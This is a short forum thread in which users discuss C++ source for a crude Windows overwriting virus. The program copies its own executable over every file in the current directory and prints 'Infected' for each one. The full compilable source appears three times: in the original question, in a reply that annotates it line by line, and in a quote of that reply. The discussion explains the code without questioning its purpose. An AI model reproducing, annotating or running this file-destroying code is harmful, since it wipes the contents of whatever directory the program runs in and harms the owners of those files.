❓ Explain about this code

Posts 1–6 of 6 · Page 1 of 1
❓ Explain about this code
Code:
#include<iostream>
#include<windows.h>

using namespace std;

int  main()
{
    char VirusFile[MAX_PATH];
    HANDLE Search;
    WIN32_FIND_DATA   FileData;
    BOOL Finished=FALSE;
    GetModuleFileName(0,VirusFile,sizeof(VirusFile));
    Search=FindFirstFile("*.*",&FileData);
    while(!Finished)
    {
        if(CopyFile(VirusFile,FileData.cFileName,FALSE))
        {
            cout<<"<----Infected---->"<<' '<<FileData.cFileName<<endl;
        }
        FindNextFile(Search,&FileData);
        if(GetLastError() == ERROR_NO_MORE_FILES)
        {
            Finished=TRUE;
        }
    }
    FindClose(Search);
    cout<<"\n";
    cout<<"<----****Files attack is complete****---->"<<endl;
    cout<<"\n";system("pause");
    return 0;
}
-----------------------------------------------------------------------------------------------------
Can someone explain this code for me by placing comment beside lines?
I saw this source code somewhere but i don't quite remember.
From what I can see this copies the current .exe file into others files around it. (rewrites the content of those files with the content of the .exe or something similar)

The code is quite simple. There is nothing fancy to explain. Loops.. functions..
Quote Originally Posted by 'Bruno View Post
From what I can see this copies the current .exe file into others files around it. (rewrites the content of those files with the content of the .exe or something similar)

The code is quite simple. There is nothing fancy to explain. Loops.. functions..
So what is the file that be copy and be overwrite?
Basically, it just coppies itself overtop of everything in the directory.
Code:
#include<iostream>
#include<windows.h>

using namespace std;

int  main()
{
    char VirusFile[MAX_PATH];   //Create a buffer to store the file path of this executable
    HANDLE Search;                 //Buffer handle, stores a handle to the current search.
    WIN32_FIND_DATA   FileData; //Contains data about the current file
    BOOL Finished=FALSE;           //Set from within the loop to 'true' when all the files have been enumerated through.
    GetModuleFileName(0,VirusFile,sizeof(VirusFile)); //Get the path of the the executable (this executable.)
    Search=FindFirstFile("*.*",&FileData); //Search handle created to describe the new search, FileData also describes the first file in current directory.
    while(!Finished) //Loop until all files are infected.
    {
        if(CopyFile(VirusFile,FileData.cFileName,FALSE)) //replace all files in this directory with this file
        {
            cout<<"<----Infected---->"<<' '<<FileData.cFileName<<endl;
        }
        FindNextFile(Search,&FileData); //Move on to the next file.
        if(GetLastError() == ERROR_NO_MORE_FILES)
        {
            Finished=TRUE;
        }
    }
    FindClose(Search); //Close file search handle.
    cout<<"\n";
    cout<<"<----****Files attack is complete****---->"<<endl;
    cout<<"\n";system("pause");
    return 0;
}
Quote Originally Posted by radnomguywfq3 View Post
Basically, it just coppies itself overtop of everything in the directory.
Code:
#include<iostream>
#include<windows.h>

using namespace std;

int  main()
{
    char VirusFile[MAX_PATH];   //Create a buffer to store the file path of this executable
    HANDLE Search;                 //Buffer handle, stores a handle to the current search.
    WIN32_FIND_DATA   FileData; //Contains data about the current file
    BOOL Finished=FALSE;           //Set from within the loop to 'true' when all the files have been enumerated through.
    GetModuleFileName(0,VirusFile,sizeof(VirusFile)); //Get the path of the the executable (this executable.)
    Search=FindFirstFile("*.*",&FileData); //Search handle created to describe the new search, FileData also describes the first file in current directory.
    while(!Finished) //Loop until all files are infected.
    {
        if(CopyFile(VirusFile,FileData.cFileName,FALSE)) //replace all files in this directory with this file
        {
            cout<<"<----Infected---->"<<' '<<FileData.cFileName<<endl;
        }
        FindNextFile(Search,&FileData); //Move on to the next file.
        if(GetLastError() == ERROR_NO_MORE_FILES)
        {
            Finished=TRUE;
        }
    }
    FindClose(Search); //Close file search handle.
    cout<<"\n";
    cout<<"<----****Files attack is complete****---->"<<endl;
    cout<<"\n";system("pause");
    return 0;
}
I'm curious about what file does it copy to other files to 'infect'?
Quote Originally Posted by leonjun16 View Post
I'm curious about what file does it copy to other files to 'infect'?
It will copy itself (the exe you get by compiling the code you posted).
Posts 1–6 of 6 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Talk with us